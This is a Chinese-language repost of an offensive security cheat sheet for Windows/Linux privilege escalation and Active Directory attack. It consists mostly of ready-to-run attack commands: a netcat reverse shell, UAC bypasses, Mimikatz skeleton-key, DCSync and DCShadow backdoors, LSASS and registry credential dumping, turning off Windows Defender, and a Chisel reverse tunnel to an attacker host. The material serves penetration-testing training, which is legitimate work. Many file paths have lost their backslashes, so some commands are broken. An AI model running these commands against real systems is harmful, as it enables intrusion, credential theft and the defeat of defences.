要查找更多内容(Windows 和 Linux),请参阅OSCP 备忘单和命令参考。

https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/

Windows 和 Linux 系统的权限提升完全不同。

Windows

我通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:Users目录)以获取快速获取有用的文件(尤其是用户主文件夹和 Web 目录)。如果没有找到任何可用信息,可以使用winPEAS.exe工具来识别漏洞。

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)

在枚举结果中查找的内容:

默认凭据,尝试将它们转给其他用户。

开放端口,有没有只监听 127.0.0.1 的服务?寻找漏洞。

运行软件信息,寻找漏洞。

未加引号的服务路径,写一个恶意的二进制文件并重启受影响的服务。

可修改的服务二进制文件,SYSTEM是以管理员用户身份运行?

如果没有WinPEAS,也可以通过Invoke-AllChecks运行PowerUp,它会执行类似的检查,但有时也会捕获其他漏洞。

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

如果所有方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。Windows-Exploit-Suggester对此有所帮助:可以从 Kali 运行它,并且只需要SystemInfo.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

其他一些值得注意的例子将在下面的部分中讨论。

JuicyPotato

如果拥有SeImpersonatePrivilege并且操作系统版本早于Server 2019 或 Windows 10,则可以使用。通过使用nc.exe或nc64.exe,如果bat使用命令调用创建文件,它应该会避开大多数 AV 并提供特权 shell。

https://eternallybored.org/misc/netcat/

从这里获取CLSID ,可能需要多次尝试才能获得有效的 CLSID。

https://ohpe.it/juicy-potato/CLSID/

# On target system, after copying required binaries

echo C:tempnc64.exe -e cmd.exe $LHOST 443 > rev.bat

.JuicyPotato.exe -l 1337 -p C:temprev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

UAC绕过

谷歌搜索特定版本的自动 UAC 绕过漏洞,或使用Windows-Exploit-Suggester或 metasploit 来识别可能的 UAC 绕过漏洞可能会成功。

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

使用SharpBypassUAC。

# Generate EncodedCommand

echo -n 'cmd /c start rundll32 c:\users\public\beacon.dll,Update' | base64


# Use SharpBypassUAC e.g. from a CobaltStrike beacon

beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

在某些情况下,运行手动 UAC 绕过可能会更好,例如在 PowerShell 中执行非常简单的 FODHelper 绕过。

# The command to execute in high integrity context

$cmd = "cmd /c start powershell.exe"


# Set the registry values

New-Item "HKCU:SoftwareClassesms-settingsShellOpencommand" -Force

New-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" -Name "DelegateExecute" -Value "" -Force

Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" -Name "(default)" -Value $cmd -Force


# Trigger fodhelper to perform the bypass

Start-Process "C:WindowsSystem32fodhelper.exe" -WindowStyle Hidden


# Clean registry

Start-Sleep 3

Remove-Item "HKCU:SoftwareClassesms-settings" -Recurse -Force

系统权限

我们可以通过PsExec.exe来实现这一点。你可以使用 Msfvenom 可执行文件代替rev.bat,但后者更适用于 AV 免杀。

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

.PsExec.exe -i -s "c:temprev.bat"

如果你在 Windows 系统上有一个 shell 并且有另一个用户的密码,PsExec 也可以用来作为目标用户执行程序。

.PsExec.exe -user $USERNAME -p $PASSWORD "c:temprev.bat"

Linux

对于 Linux PrivEsc,通常运行sudo -l,查看文件系统以查找文件或包含凭据或线索的文件。通常,这可能会导致例如我们可以用来在本地转储数据库的 MySQL 凭据。最后,我查看了我们所在的有趣和/或非默认组id。

之后,通过linPEAS或在某些情况下使用LinEnum自动执行 PrivEsc 枚举。

是否有任何正在运行的服务或程序看起来是非默认的?是否存在漏洞?

    -特别注意以 root 用户 ( ps auxww | grep root)运行的服务- 在许多情况下,这些可能是你的 root 路径。例如,MySQL 是否以 root 身份运行?

哪些服务只在本地监听?是否存在漏洞?

某些文件或文件夹的权限是否配置错误?

是否有定时任务或计划任务?谁执行他们?

我们可以sudo在默认二进制文件上运行吗?检查它们的GTFOBins。

是否有文件由 root 拥有并设置了 SUID 或 GUID?检查它们的 GTFOBins。

是否有文件具有不受限制的 POSIX 功能(仅+ep),或可以用于 privesc 的其他有趣功能(例如cap_setuid或cap_dac_override)?

同样,内核漏洞利用应该是 PWK 权限提升的最后手段。识别内核版本uname并将其扔到 searchsploit 中应该有所帮助。

PowerShell 和 AD 域渗透漏洞利用手册
0x05 持久驻留

启动文件夹

只需删除一个二进制文件。

在当前用户文件夹中,当当前用户登录时触发:

c:Users[USERNAME]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

或者在全局启动文件夹中,需要管理权限,但在任何用户登录时都会在启动时和用户上下文中作为 SYSTEM 触发:

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

PowerShell 和 AD 域渗透漏洞利用手册
0x06 域持久化

必须以 DA 权限运行。

Mimikatz skeleton 键攻击

从 DC 运行。为所有用户启用密码“mimikatz”。

privilege::debugmisc::skeleton

使用 PowerView 授予特定用户 DCSync 权限

随时为你选择的用户授予 DCSync 的权限。在某些设置中可能会逃避检测。

Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync

域控制器 DSRM 管理员

DSRM 管理员是 DC 的本地管理员帐户,需要先启用远程登录。

New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

现在我们可以使用之前转储在 DC 上的本地管理员哈希远程登录(使用lsadump::sam)。使用例如“ overpass-the-hash”来获取会话。

修改远程 WMI 访问的安全描述符

使用Nishang 的 Set-RemoteWMI] cmdlet授予用户 WMI 访问计算机的权限。

https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1

Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'rootcimv2'

修改 PowerShell 远程访问的安全描述符

使用Nishang 的 Set-RemotePSRemoting.ps1 cmdlet授予用户 PowerShell Remoting 访问计算机的权限。

Set-RemotePSRemoting -UserName BackdoorUser -ComputerName dc.targetdomain.com

使用 DAMP 修改 DC 注册表安全描述符以进行远程哈希检索

使用DAMP工具包,我们可以通过后门打开DC注册表,能够访问SAM、系统和安全注册表配置单元。这允许我们远程转储DC 哈希秘钥。

https://github.com/HarmJ0y/DAMP

我们使用来自 DAMP的Add-RemoteRegBackdoor.ps1cmdlet添加后门。

Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser

使用RemoteHashRetrieval.ps1 cmdlet从DAMP远程转储秘钥(以“BackdoorUser”用户身份运行)。

# Get machine account hash for silver ticket attack

Get-RemoteMachineAccountHash -ComputerName DC01


# Get local account hashes

Get-RemoteLocalAccountHash -ComputerName DC01


# Get cached credentials (if any)

Get-RemoteCachedCredential -ComputerName DC01

DCShadow

DCShadow 是一种通过临时模仿域控制器来掩盖某些操作的攻击。如果你在根域中拥有域管理员或企业管理员权限,则可将其用于林级持久性。

或者作为域管理员,为所选用户授予 DCShadow 攻击所需的权限(使用Set-DCShadowPermissions.ps1cmdlet)。

Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

然后在任何机器上,使用 Mimikatz 进行 DCShadow 攻击。

# Set SPN for user

lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"


# Set SID History for user (effectively granting them Enterprise Admin rights)

lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519


# Set Full Control permissions on AdminSDHolder container for user

## Requires retrieval of current ACL:

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl


## Then get target user SID:

Get-NetUser -UserName BackdoorUser | select objectsid


## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])

最后,从 DA 会话或之前提供 DCShadow 权限的用户的会话中,运行 DCShadow 攻击。之前的动作将在不留下任何日志的情况下执行。

lsadump::dcshadow /push

PowerShell 和 AD 域渗透漏洞利用手册
0x07 后渗透利用

LSASS保护

有时,LSASS 被配置为作为受保护进程 (PPL) 运行,你可以使用 PowerShell 进行查询,如下所示。

Get-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlLsa -Name "RunAsPPL"

如果是这种情况,你不能只是转储或解析 LSASS,你需要使用mimidrv.sys`.,我不会在这里讨论如何做到这一点,有一些工具如PPLDump可以提供帮助。

https://github.com/itm4n/PPLdump

使用 Mimikatz 转储操作系统凭据

# Dump logon passwords

sekurlsa::logonpasswords


# Dump all domain hashes from a DC

## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩

lsadump::lsa /patch


# Dump only local users

lsadump::sam


# DCSync (requires 'ldap' SPN)

lsadump::dcsync /user:DOMAINkrbtgt /domain:targetdomain.com


# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩

vault::list

vault::cred /patch

使用 Mimikatz 滥用数据保护 API (DPAPI)

Mimikatz 有相当多的功能可以访问 Windows 的 DPAPI,它用于加密许多凭据,例如浏览器密码。

需要注意的是Mimikatz会自动缓存主密钥,有检查高速缓存dpapi::cache。

# Find the IDs of protected secrets for a specific user

dir C:Users[USERNAME]AppDataLocalMicrosoftCredentials


# Get information, including the used master key ID, from a specific secret (take the path from above)

dpapi::cred /in:C:Users[USERNAME]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3


# IF YOU ARE PRIVILEGED

# Dump all master keys from the current system

sekurlsa::dpapi


# IF YOU ARE NOT PRIVILEGED (session as target user required)

# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)

dpapi::masterkey /rpc /in:C:Users[USERNAME]AppDataRoamingMicrosoftProtectS-1-5-21-3865823697-1816233505-1834004910-1124dd89dddf-946b-4a80-9fd3-7f03ebd41ff4


# Decrypt the secret using the retrieved master key

# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)

dpapi::cred /in:C:Users[USERNAME]]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad

在没有 Mimikatz 的情况下dump秘钥

我们还可以在不直接在目标系统上使用 Mimikatz 的情况下解析系统秘钥。

Dump LSASS

运行 Mimikatz 的首选方法是使用目标的 LSASS 内存的转储副本在本地执行。Dumpert、Procdump或其他工具可用于转储 LSASS 内存。

# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly.procdump.exe -r -ma lsass.exe lsass.dmp

在我们的攻击系统上下载内存转储文件后,我们可以运行 Mimikatz 并切换到“Minidump”模式来解析文件,如下所示。之后,我们可以像往常一样运行 Mimikatz 的凭据检索命令。

sekurlsa::minidump lsass.dmp

从注册表中转储秘钥

我们可以从注册表中转储秘钥并“离线”解析文件以获取系统秘钥列表。

在目标机器上运行以下命令:

reg.exe save hklmsam c:userspublicdownloadssam.save

reg.exe save hklmsystem c:userspublicdownloadssystem.save

reg.exe save hklmsecurity c:userspublicdownloadssecurity.save

然后在攻击机上,可以使用 Impacket 转储秘密:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

从卷影副本中转储秘钥

我们还可以创建SAM和SYSTEM文件的“卷影副本” (它们始终锁定在当前系统上),因此我们可以将它们复制到我们的本地系统。

wmic shadowcopy call create Volume='C:'

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsam C:userspublicsam.save

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsystem C:userspublicsystem.save

禁用Defender

禁用 AV/EDR 产品在渗透实践中从来都不是一个好主意,所有这些命令都需要本地管理权限。🚩

# Disable realtime monitoring altogether

Set-MpPreference -DisableRealtimeMonitoring $true


# Only disables scanning for downloaded files or attachments

Set-MpPreference -DisableIOAVProtection $true

或者,可以为shadow内容添加一个排除目录

Add-MpPreference -ExclusionPath "C:UsersPublicDownloadsSuperLegitDownloadDirectory"

或者,你可以让 Defender 保持启用状态并从中删除所有病毒签名。

"C:Program FilesWindows DefenderMpCmdRun.exe" -RemoveDefinitions -All

Chisel proxying

如果你需要通过受感染的 Windows 机器代理流量,Chisel(或SharpChisel)是一个不错的选择。Chisel 允许端口转发,但我最喜欢的技术是在目标机器上设置反向 SOCKS 代理,允许你通过目标系统隧道传输任何流量。

https://github.com/jpillora/chiselhttps://github.com/shantanu561993/SharpChisel

在我们的攻击机器上(本例中为 Linux),在端口 80 上以反向 SOCKS5 模式启动 Chisel 服务器。

sudo ./chisel server -p 80 --reverse --socks5

然后,在受感染的目标系统上连接到该服务器并告诉它通过反向 SOCKS5 隧道代理所有流量。

.chisel.exe client 192.168.49.67:80 R:socks

代理现在在linux 机器的端口 1080 上打开,现在可以使用例如 ProxyChains 在目标系统上建立隧道。

Juicy 文件

WinPEAS 之类的工具或PowerSploit 之类的集合可能有助于识别Juicy 文件(用于 privesc 或后渗透利用)。

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS(https://github.com/PowerShellMafia/PowerSploit

下面是我遇到的一些相关文件的列表。根据机器上安装的程序或服务检查文件。

此外,不要忘记使用sqlcmd或枚举任何本地数据库Invoke-SqlCmd!

# All user folders

## Limit this command if there are too many files PowerShell 和 AD 域渗透漏洞利用手册

tree /f /a C:Users


# Web.config

C:inetpubwww*web.config


# Unattend files

C:WindowsPantherUnattend.xml


# RDP config files

C:ProgramDataConfigs


# Powershell scripts/config files

C:Program FilesWindows PowerShell


# PuTTy config

C:Users[USERNAME]AppDataLocalLowMicrosoftPutty


# FileZilla creds

C:Users[USERNAME]AppDataRoamingFileZillaFileZilla.xml


# Jenkins creds (also check out the Windows vault, see above)

C:Program FilesJenkinscredentials.xml


# WLAN profiles

C:ProgramDataMicrosoftWlansvcProfiles*.xml


# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)

Get-ItemProperty -Path HKLM:SoftwareTightVNCServer -Name "Password" | select -ExpandProperty Password

参考及来源:https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/

PowerShell 和 AD 域渗透漏洞利用手册

PowerShell 和 AD 域渗透漏洞利用手册

本文始发于微信公众号(嘶吼专业版):PowerShell 和 AD 域渗透漏洞利用手册

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月30日04:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PowerShell 和 AD 域渗透漏洞利用手册https://cn-sec.com/archives/561153.html

发表评论

匿名网友 填写信息